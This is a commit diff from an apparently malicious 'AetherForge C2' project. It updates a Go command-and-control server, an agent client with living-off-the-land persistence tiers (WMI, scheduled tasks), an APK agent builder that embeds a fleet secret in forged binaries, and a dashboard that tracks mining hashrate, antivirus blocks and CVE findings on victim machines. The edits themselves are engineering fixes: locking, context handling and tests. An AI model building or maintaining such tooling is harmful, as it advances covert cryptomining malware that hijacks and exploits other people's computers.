Update server config, builder APK logic, frontend fleet/activity metrics, and ignore test APKs
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
2
.gitignore
vendored
2
.gitignore
vendored
@@ -82,7 +82,7 @@ _*.txt
|
||||
/server/*cov*
|
||||
|
||||
# Local APK / test logs (not tracked)
|
||||
/agent-tablet-1.apk
|
||||
/agent-*.apk
|
||||
/server/web/test-output.txt
|
||||
|
||||
# Go build cache (local)
|
||||
|
||||
@@ -2,6 +2,7 @@ package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os/exec"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
@@ -15,6 +16,24 @@ import (
|
||||
// real engine so handleMessage can call pool.SetJob without panicking.
|
||||
func newTestClient(t *testing.T) *AgentClient {
|
||||
t.Helper()
|
||||
SetPostureCollector(func() *PostureReport {
|
||||
return &PostureReport{}
|
||||
})
|
||||
miner.SetProbeExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||
return exec.Command("cmd.exe", "/c", "exit 1")
|
||||
})
|
||||
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
|
||||
return miner.ContainerRuntimeInfo{}
|
||||
})
|
||||
miner.SetWSLDetector(func() miner.WSLRuntimeInfo {
|
||||
return miner.WSLRuntimeInfo{}
|
||||
})
|
||||
t.Cleanup(func() {
|
||||
SetPostureCollector(nil)
|
||||
miner.SetProbeExecCommand(nil)
|
||||
miner.SetRuntimeDetector(nil)
|
||||
miner.SetWSLDetector(nil)
|
||||
})
|
||||
b := config.GetBuiltinConfig()
|
||||
b.Threads = 1
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: b}
|
||||
|
||||
@@ -161,7 +161,7 @@ func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
|
||||
default:
|
||||
}
|
||||
start := time.Now()
|
||||
err := o.invokeTier(tier, hooks)
|
||||
err := o.invokeTier(ctx, tier, hooks)
|
||||
duration := time.Since(start)
|
||||
if err != nil {
|
||||
if errors.Is(err, ErrTierChainSkipped) {
|
||||
@@ -203,7 +203,7 @@ func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
|
||||
return "", ErrTierChainExhausted
|
||||
}
|
||||
|
||||
func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
|
||||
func (o *TierOrchestrator) invokeTier(ctx context.Context, tier LOTLTier, hooks TierHooks) error {
|
||||
switch tier {
|
||||
case TierDockerLoad:
|
||||
if hooks.StartDockerLoad == nil {
|
||||
@@ -241,7 +241,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
|
||||
}
|
||||
return hooks.StartDotnet()
|
||||
case TierWMI:
|
||||
attempt := RunWMITier(context.Background(), o.cfg)
|
||||
attempt := RunWMITier(ctx, o.cfg)
|
||||
o.recordAttemptRecord(attempt)
|
||||
if !attempt.OK {
|
||||
if attempt.Error == "" {
|
||||
@@ -251,7 +251,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
|
||||
}
|
||||
return nil
|
||||
case TierScheduledTask:
|
||||
attempt := RunScheduledTaskTier(context.Background(), o.cfg)
|
||||
attempt := RunScheduledTaskTier(ctx, o.cfg)
|
||||
o.recordAttemptRecord(attempt)
|
||||
if !attempt.OK {
|
||||
if attempt.Error == "" {
|
||||
@@ -261,7 +261,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
|
||||
}
|
||||
return nil
|
||||
case TierGPUCompute:
|
||||
attempt := RunGPUComputeTier(context.Background(), o.cfg)
|
||||
attempt := RunGPUComputeTier(ctx, o.cfg)
|
||||
o.recordAttemptRecord(attempt)
|
||||
if attempt.OK {
|
||||
o.mu.Lock()
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
{
|
||||
"server_url": "http://deck:8989",
|
||||
"worker_name": "tab-1",
|
||||
"worker_number": "tab-1",
|
||||
"server_url": "http://10.0.0.1:8989",
|
||||
"worker_name": "cleanup-node",
|
||||
"worker_number": "cleanup-node",
|
||||
"mining": {
|
||||
"enabled": false
|
||||
},
|
||||
"build_id": "bld-cross"
|
||||
"build_id": "d5cb0702-953b-4a62-9fc7-e9476bdac1e0"
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
package main
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
@@ -345,8 +345,6 @@ func LoadConfig() *Config {
|
||||
cfg.DataDir = resolveDataDir(*dataDir, projectRoot)
|
||||
if cliPortExplicit {
|
||||
cfg.Port = cliPort
|
||||
} else {
|
||||
cfg.Port = cliPort
|
||||
}
|
||||
|
||||
configPath := filepath.Join(cfg.DataDir, "config.json")
|
||||
|
||||
@@ -24,6 +24,7 @@ func applyMergeFromJSON(t *testing.T, dst *Config, payload string) {
|
||||
if err := json.Unmarshal([]byte(payload), &present); err != nil {
|
||||
t.Fatalf("unmarshal present keys: %v", err)
|
||||
}
|
||||
hydrateLegacyAIConfig(&incoming, []byte(payload))
|
||||
mergeConfigExplicit(dst, &incoming, present)
|
||||
}
|
||||
|
||||
@@ -607,3 +608,18 @@ func TestLoadConfigOpenFirewallKeyDetection(t *testing.T) {
|
||||
t.Fatal("test precondition")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMergeConfigExplicitLegacyAIFields(t *testing.T) {
|
||||
dst := DefaultConfig()
|
||||
dst.Server.AIEndpoint = ""
|
||||
dst.Server.AIDecisionIntervalSec = 0
|
||||
|
||||
applyMergeFromJSON(t, dst, `{"server":{"ai_local_endpoint":"http://local-ollama:11434","ai_interval_sec":30}}`)
|
||||
|
||||
if dst.Server.AIEndpoint != "http://local-ollama:11434" {
|
||||
t.Fatalf("expected Server.AIEndpoint to be hydrated from legacy, got %q", dst.Server.AIEndpoint)
|
||||
}
|
||||
if dst.Server.AIDecisionIntervalSec != 30 {
|
||||
t.Fatalf("expected Server.AIDecisionIntervalSec to be hydrated from legacy, got %d", dst.Server.AIDecisionIntervalSec)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -231,6 +231,9 @@ func apkFileName(req *BuildRequest) string {
|
||||
|
||||
// buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK.
|
||||
func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) {
|
||||
h.apkBuildMu.Lock()
|
||||
defer h.apkBuildMu.Unlock()
|
||||
|
||||
if req.ScoutMode {
|
||||
ApplyApkScoutPreset(req)
|
||||
} else {
|
||||
@@ -337,6 +340,7 @@ func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildRe
|
||||
}
|
||||
h.setProgress(req.CancelToken, "Saving to database", 99)
|
||||
if err := h.db.InsertBuild(buildRecord); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
|
||||
@@ -3,10 +3,13 @@ package builder
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestApplyApkScoutPreset(t *testing.T) {
|
||||
@@ -254,3 +257,104 @@ func TestNormalizeRequestApkSkipsWallet(t *testing.T) {
|
||||
t.Fatalf("normalized apk: os=%q mining_disabled=%v", req.TargetOS, req.MiningDisabled)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildAPKAgentConcurrency(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
setFakeGoSuccess(t, h)
|
||||
|
||||
androidDir := filepath.Join(h.projectRoot, "android")
|
||||
if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
// Channel to coordinate/delay the mock builds to assert serialization
|
||||
inBuildChan := make(chan struct{}, 2)
|
||||
h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
|
||||
inBuildChan <- struct{}{}
|
||||
// Wait a small duration to keep the lock held, letting another call try to acquire it
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
apk := filepath.Join(buildDir, "agent-app-debug.apk")
|
||||
if err := os.WriteFile(apk, []byte("PK fake apk concurrent"), 0644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return apk, nil
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(2)
|
||||
for i := 0; i < 2; i++ {
|
||||
go func(id int) {
|
||||
defer wg.Done()
|
||||
req := &BuildRequest{
|
||||
WorkerName: fmt.Sprintf("node-%d", id),
|
||||
ServerURL: "http://10.0.0.1:8989",
|
||||
CancelToken: fmt.Sprintf("cancel-token-%d", id),
|
||||
ApkMode: true,
|
||||
}
|
||||
resp, code, _ := h.buildAPKAgent(context.Background(), req)
|
||||
if code != 200 || !resp.Success {
|
||||
t.Errorf("concurrent build %d failed: code=%d resp=%+v", id, code, resp)
|
||||
}
|
||||
}(i)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
close(inBuildChan)
|
||||
|
||||
// Since they are serialized, they should execute one after the other.
|
||||
if len(inBuildChan) != 2 {
|
||||
t.Fatalf("expected 2 builds to have run, got %d", len(inBuildChan))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildAPKAgentDatabaseFailureCleanup(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
// We close the database immediately so that InsertBuild fails
|
||||
_ = database.Close()
|
||||
|
||||
setFakeGoSuccess(t, h)
|
||||
|
||||
androidDir := filepath.Join(h.projectRoot, "android")
|
||||
if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
|
||||
apk := filepath.Join(buildDir, "agent-app-debug.apk")
|
||||
if err := os.WriteFile(apk, []byte("PK fake apk cleanup test"), 0644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return apk, nil
|
||||
}
|
||||
|
||||
req := &BuildRequest{
|
||||
WorkerName: "cleanup-node",
|
||||
ServerURL: "http://10.0.0.1:8989",
|
||||
CancelToken: "cleanup-test-token",
|
||||
ApkMode: true,
|
||||
}
|
||||
|
||||
// Capture existing files in builds dir
|
||||
buildsDir := filepath.Join(h.dataDir, "builds")
|
||||
_ = os.MkdirAll(buildsDir, 0755)
|
||||
|
||||
resp, code, _ := h.buildAPKAgent(context.Background(), req)
|
||||
if resp.Success || code == 200 {
|
||||
t.Fatalf("expected build to fail on DB write, but got success: code=%d", code)
|
||||
}
|
||||
|
||||
// Verify that the build directory under builds/ was cleaned up
|
||||
files, err := os.ReadDir(buildsDir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(files) != 0 {
|
||||
var names []string
|
||||
for _, f := range files {
|
||||
names = append(names, f.Name())
|
||||
}
|
||||
t.Fatalf("expected builds directory to be empty after database failure cleanup, but found: %v", names)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -232,8 +232,12 @@ type Handler struct {
|
||||
|
||||
// apkBuildFn overrides APK packaging (tests inject a mock gradle/script).
|
||||
apkBuildFn ApkBuildFunc
|
||||
|
||||
// apkBuildMu serializes parallel Android APK builds to prevent concurrent writes to the shared assets directory and concurrent gradle runs.
|
||||
apkBuildMu sync.Mutex
|
||||
}
|
||||
|
||||
|
||||
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
|
||||
func (h *Handler) SetFleetSecret(secret string) {
|
||||
h.fleetSecret = secret
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package main
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -68,6 +68,9 @@ func main() {
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
log.Println("AetherForge C2 starting...")
|
||||
|
||||
ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM)
|
||||
defer stop()
|
||||
|
||||
projectRoot := findProjectRoot()
|
||||
cfg := LoadConfig()
|
||||
log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
|
||||
@@ -278,8 +281,13 @@ func main() {
|
||||
go func() {
|
||||
ticker := time.NewTicker(15 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
wsHub.BroadcastPoolStatus(poolManager.ListStatus())
|
||||
for {
|
||||
select {
|
||||
case <-ticker.C:
|
||||
wsHub.BroadcastPoolStatus(poolManager.ListStatus())
|
||||
case <-ctx.Done():
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
@@ -398,10 +406,13 @@ func main() {
|
||||
|
||||
// Start server
|
||||
addr := fmt.Sprintf(":%d", cfg.Port)
|
||||
srv := &http.Server{Addr: addr, Handler: router}
|
||||
|
||||
ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM)
|
||||
defer stop()
|
||||
srv := &http.Server{
|
||||
Addr: addr,
|
||||
Handler: router,
|
||||
ReadTimeout: 30 * time.Second,
|
||||
WriteTimeout: 60 * time.Second,
|
||||
IdleTimeout: 120 * time.Second,
|
||||
}
|
||||
|
||||
log.Printf("Server listening on %s", addr)
|
||||
log.Printf("Open http://localhost:%d in your browser", cfg.Port)
|
||||
@@ -564,12 +575,11 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error
|
||||
return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0")
|
||||
}
|
||||
|
||||
// Determine which top-level keys were explicitly present in the JSON payload.
|
||||
// This prevents partial PUTs from corrupting boolean fields (H14): a key absent
|
||||
// from the payload is treated as "not changed", not "set to false".
|
||||
var presentKeys map[string]json.RawMessage
|
||||
_ = json.Unmarshal(data, &presentKeys)
|
||||
|
||||
hydrateLegacyAIConfig(&incoming, data)
|
||||
|
||||
mergeConfigExplicit(p.config, &incoming, presentKeys)
|
||||
|
||||
// Save to disk
|
||||
|
||||
@@ -118,6 +118,10 @@ export default function CrucibleExpandedOps({
|
||||
}
|
||||
}, [singleSelectedAgent?.mac_address, wolMac]);
|
||||
|
||||
useEffect(() => {
|
||||
setLiveDesktop(false);
|
||||
}, [singleSelectedAgent?.id]);
|
||||
|
||||
const dispatchOne = useCallback(
|
||||
async (agent: Agent, action: string, args: Record<string, unknown> = {}) => {
|
||||
try {
|
||||
|
||||
@@ -37,4 +37,21 @@ describe('fleetGroups', () => {
|
||||
saveFleetGroups(groups);
|
||||
expect(loadFleetGroups()).toHaveLength(2);
|
||||
});
|
||||
|
||||
it('generates unique fallback IDs for loaded groups missing an ID', () => {
|
||||
// Manually saving raw JSON objects without IDs to simulate legacy state
|
||||
const rawGroups = [
|
||||
{ name: 'Legacy Group 1', color: '#ff0000', agentIds: [] },
|
||||
{ name: 'Legacy Group 2', color: '#00ff00', agentIds: [] },
|
||||
];
|
||||
localStorage.setItem('aetherforge_fleet_groups', JSON.stringify(rawGroups));
|
||||
|
||||
const loaded = loadFleetGroups();
|
||||
expect(loaded).toHaveLength(2);
|
||||
expect(loaded[0].id).toBeDefined();
|
||||
expect(loaded[1].id).toBeDefined();
|
||||
expect(loaded[0].id).not.toBe(loaded[1].id);
|
||||
expect(loaded[0].id.startsWith('fg-')).toBe(true);
|
||||
expect(loaded[1].id.startsWith('fg-')).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -54,7 +54,7 @@ export function loadFleetGroups(): FleetGroup[] {
|
||||
? [...new Set(o.agentIds.filter((id): id is string => typeof id === 'string' && id.length > 0))]
|
||||
: [];
|
||||
return {
|
||||
id: typeof o.id === 'string' && o.id ? o.id : `fg-${Date.now()}`,
|
||||
id: typeof o.id === 'string' && o.id ? o.id : `fg-${crypto.randomUUID?.() ?? `${Date.now()}-${Math.random().toString(36).slice(2, 9)}`}`,
|
||||
name,
|
||||
color: normalizeGroupColor(typeof o.color === 'string' ? o.color : FLEET_GROUP_COLORS[0]),
|
||||
agentIds,
|
||||
|
||||
@@ -138,6 +138,112 @@ describe('agentStatsUnchanged', () => {
|
||||
}),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it('returns true when failed_methods, services, atlas_skips, and vuln_findings are structurally identical but have different array references', () => {
|
||||
const agent = mockAgent({
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
|
||||
services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'running', start_type: 'auto' }],
|
||||
atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'timeout' }],
|
||||
vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
|
||||
});
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
|
||||
services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'running', start_type: 'auto' }],
|
||||
atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'timeout' }],
|
||||
vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
|
||||
}),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('returns false when failed_methods change', () => {
|
||||
const agent = mockAgent({
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
|
||||
});
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
failed_methods: [{ method: 'container', reason: 'AV blocked', at: '2026-06-06T12:00:00Z' }],
|
||||
}),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it('returns false when services change', () => {
|
||||
const agent = mockAgent({
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'running', start_type: 'auto' }],
|
||||
});
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'stopped', start_type: 'auto' }],
|
||||
}),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it('returns false when atlas_skips change', () => {
|
||||
const agent = mockAgent({
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'timeout' }],
|
||||
});
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'failed-5-times' }],
|
||||
}),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it('returns false when vuln_findings change', () => {
|
||||
const agent = mockAgent({
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
|
||||
});
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: true }],
|
||||
}),
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('WS_LATEST_MESSAGE_TYPES', () => {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import type { Agent } from '../types';
|
||||
import type { Agent, AgentService } from '../types';
|
||||
import type { WSStatsUpdate } from '../types/ws';
|
||||
|
||||
/** Returns true when a stats_update payload would not change visible agent fields. */
|
||||
@@ -44,16 +44,17 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
|
||||
if (u.stratum_overlay !== undefined && agent.stratum_overlay !== u.stratum_overlay) return false;
|
||||
if (u.chain_exhausted !== undefined && agent.chain_exhausted !== u.chain_exhausted) return false;
|
||||
if (u.chain_order !== undefined && !shallowStrArrayEq(agent.chain_order, u.chain_order)) return false;
|
||||
if (u.failed_methods !== undefined && agent.failed_methods !== u.failed_methods) return false;
|
||||
if (u.failed_methods !== undefined && !failedMethodsEq(agent.failed_methods, u.failed_methods)) return false;
|
||||
if (u.dns_servers !== undefined && !shallowStrArrayEq(agent.dns_servers, u.dns_servers)) return false;
|
||||
if (u.dns_search_domains !== undefined && !shallowStrArrayEq(agent.dns_search_domains, u.dns_search_domains)) return false;
|
||||
if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
|
||||
if (u.services !== undefined && agent.services !== u.services) return false;
|
||||
if (u.services !== undefined && !servicesEq(agent.services, u.services)) return false;
|
||||
if (u.mining_hashrate !== undefined && agent.mining_hashrate !== u.mining_hashrate) return false;
|
||||
if (u.mining_block_reason !== undefined && agent.mining_block_reason !== u.mining_block_reason) return false;
|
||||
if (u.lotl_tier !== undefined && agent.lotl_tier !== u.lotl_tier) return false;
|
||||
if (u.lotl_attempts !== undefined && !tierAttemptsEq(agent.lotl_attempts, u.lotl_attempts)) return false;
|
||||
if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;
|
||||
if (u.atlas_skips !== undefined && !atlasSkipsEq(agent.atlas_skips, u.atlas_skips)) return false;
|
||||
if (u.vuln_findings !== undefined && !vulnFindingsEq(agent.vuln_findings, u.vuln_findings)) return false;
|
||||
if (u.vuln_risk_score !== undefined && agent.vuln_risk_score !== u.vuln_risk_score) return false;
|
||||
if (u.join_lane !== undefined && agent.join_lane !== u.join_lane) return false;
|
||||
if (u.parent_agent_id !== undefined && agent.parent_agent_id !== u.parent_agent_id) return false;
|
||||
@@ -84,6 +85,74 @@ function tierAttemptsEq(a?: import('../types/lotl').TierAttempt[], b?: import('.
|
||||
return true;
|
||||
}
|
||||
|
||||
function failedMethodsEq(
|
||||
a?: { method: string; reason: string; at: string }[],
|
||||
b?: { method: string; reason: string; at: string }[]
|
||||
): boolean {
|
||||
if (a === b) return true;
|
||||
if (!a || !b || a.length !== b.length) return false;
|
||||
for (let i = 0; i < a.length; i++) {
|
||||
if (a[i].method !== b[i].method || a[i].reason !== b[i].reason || a[i].at !== b[i].at) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
function servicesEq(a?: AgentService[], b?: AgentService[]): boolean {
|
||||
if (a === b) return true;
|
||||
if (!a || !b || a.length !== b.length) return false;
|
||||
for (let i = 0; i < a.length; i++) {
|
||||
const x = a[i];
|
||||
const y = b[i];
|
||||
if (
|
||||
x.name !== y.name ||
|
||||
x.display_name !== y.display_name ||
|
||||
x.status !== y.status ||
|
||||
x.start_type !== y.start_type
|
||||
) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
function atlasSkipsEq(
|
||||
a?: { tier: string; condition: string; reason: string }[],
|
||||
b?: { tier: string; condition: string; reason: string }[]
|
||||
): boolean {
|
||||
if (a === b) return true;
|
||||
if (!a || !b || a.length !== b.length) return false;
|
||||
for (let i = 0; i < a.length; i++) {
|
||||
if (a[i].tier !== b[i].tier || a[i].condition !== b[i].condition || a[i].reason !== b[i].reason) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
function vulnFindingsEq(
|
||||
a?: import('../types/recon').VulnFinding[],
|
||||
b?: import('../types/recon').VulnFinding[]
|
||||
): boolean {
|
||||
if (a === b) return true;
|
||||
if (!a || !b || a.length !== b.length) return false;
|
||||
for (let i = 0; i < a.length; i++) {
|
||||
const x = a[i];
|
||||
const y = b[i];
|
||||
if (
|
||||
x.cve_id !== y.cve_id ||
|
||||
x.severity !== y.severity ||
|
||||
x.component !== y.component ||
|
||||
x.patched !== y.patched ||
|
||||
x.exploitable_in_fleet_context !== y.exploitable_in_fleet_context
|
||||
) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/** WS message types that drive latestMessage consumers (sound, presence, emberwake). */
|
||||
export const WS_LATEST_MESSAGE_TYPES = new Set([
|
||||
'presence_snapshot',
|
||||
|
||||
@@ -103,6 +103,9 @@ export default function ActivityFeedPage() {
|
||||
const prevAgentStatus = useRef<Record<string, string>>({}); // id → status
|
||||
const prevHashrates = useRef<Record<string, number>>({}); // id → hashrate_15m
|
||||
const prevPosture = useRef<Record<string, number>>({}); // id → posture_score
|
||||
const seenShares = useRef<Set<string>>(new Set());
|
||||
const seenAlerts = useRef<Set<string>>(new Set());
|
||||
const aiInitialized = useRef(false);
|
||||
|
||||
// Build agent name lookup
|
||||
useEffect(() => {
|
||||
@@ -160,7 +163,7 @@ export default function ActivityFeedPage() {
|
||||
const prev = prevHashrates.current[agent.id];
|
||||
const cur = agent.hashrate_15m ?? 0;
|
||||
prevHashrates.current[agent.id] = cur;
|
||||
if (prev === undefined || prev <= 0) continue;
|
||||
if (prev === undefined) continue;
|
||||
const delta = cur - prev;
|
||||
// Only emit if ≥20% change AND at least 100 H/s delta
|
||||
if (Math.abs(delta) >= 100 && Math.abs(delta) / Math.max(prev, 1) >= 0.20) {
|
||||
@@ -197,59 +200,137 @@ export default function ActivityFeedPage() {
|
||||
}, [agents, push]);
|
||||
|
||||
// ── New share events ───────────────────────────────────────────────────
|
||||
const lastShareId = useRef<string | null>(null);
|
||||
useEffect(() => {
|
||||
if (recentShares.length === 0) return;
|
||||
const top = recentShares[0];
|
||||
const key = top.id != null ? String(top.id) : `${top.agent_id}-${top.hash}`;
|
||||
if (key === lastShareId.current) return;
|
||||
lastShareId.current = key;
|
||||
const name = agentMapRef.current.get(top.agent_id) ?? top.agent_id?.slice(0, 8);
|
||||
push({
|
||||
id: eid(), kind: 'share',
|
||||
agentId: top.agent_id, agentName: name,
|
||||
message: top.accepted ? 'share accepted by pool' : 'share rejected',
|
||||
detail: top.accepted ? undefined : top.error ?? 'pool rejection',
|
||||
ts: new Date(top.timestamp ?? Date.now()),
|
||||
});
|
||||
|
||||
// On first load, we initialize the seen list to avoid back-filling old shares
|
||||
if (seenShares.current.size === 0) {
|
||||
for (const s of recentShares) {
|
||||
const key = s.id != null ? String(s.id) : `${s.agent_id}-${s.hash}`;
|
||||
seenShares.current.add(key);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
const newShares = [];
|
||||
for (let i = recentShares.length - 1; i >= 0; i--) {
|
||||
const s = recentShares[i];
|
||||
const key = s.id != null ? String(s.id) : `${s.agent_id}-${s.hash}`;
|
||||
if (!seenShares.current.has(key)) {
|
||||
seenShares.current.add(key);
|
||||
newShares.push(s);
|
||||
}
|
||||
}
|
||||
|
||||
if (seenShares.current.size > 200) {
|
||||
const nextSet = new Set<string>();
|
||||
for (const s of recentShares) {
|
||||
const key = s.id != null ? String(s.id) : `${s.agent_id}-${s.hash}`;
|
||||
nextSet.add(key);
|
||||
}
|
||||
seenShares.current = nextSet;
|
||||
}
|
||||
|
||||
for (const top of newShares) {
|
||||
const name = agentMapRef.current.get(top.agent_id) ?? top.agent_id?.slice(0, 8);
|
||||
push({
|
||||
id: eid(), kind: 'share',
|
||||
agentId: top.agent_id, agentName: name,
|
||||
message: top.accepted ? 'share accepted by pool' : 'share rejected',
|
||||
detail: top.accepted ? undefined : top.error ?? 'pool rejection',
|
||||
ts: new Date(top.timestamp ?? Date.now()),
|
||||
});
|
||||
}
|
||||
}, [recentShares, push]);
|
||||
|
||||
// ── Fleet alert events ─────────────────────────────────────────────────
|
||||
const lastAlertId = useRef<string | null>(null);
|
||||
useEffect(() => {
|
||||
if (fleetAlerts.length === 0) return;
|
||||
const top = fleetAlerts[0];
|
||||
if (top.id === lastAlertId.current) return;
|
||||
lastAlertId.current = top.id;
|
||||
push({
|
||||
id: eid(), kind: 'alert',
|
||||
agentId: top.agent_id, agentName: top.agent_name,
|
||||
message: top.message,
|
||||
detail: top.type,
|
||||
ts: new Date(top.timestamp ?? Date.now()),
|
||||
});
|
||||
|
||||
if (seenAlerts.current.size === 0) {
|
||||
for (const a of fleetAlerts) {
|
||||
seenAlerts.current.add(a.id);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
const newAlerts = [];
|
||||
for (let i = fleetAlerts.length - 1; i >= 0; i--) {
|
||||
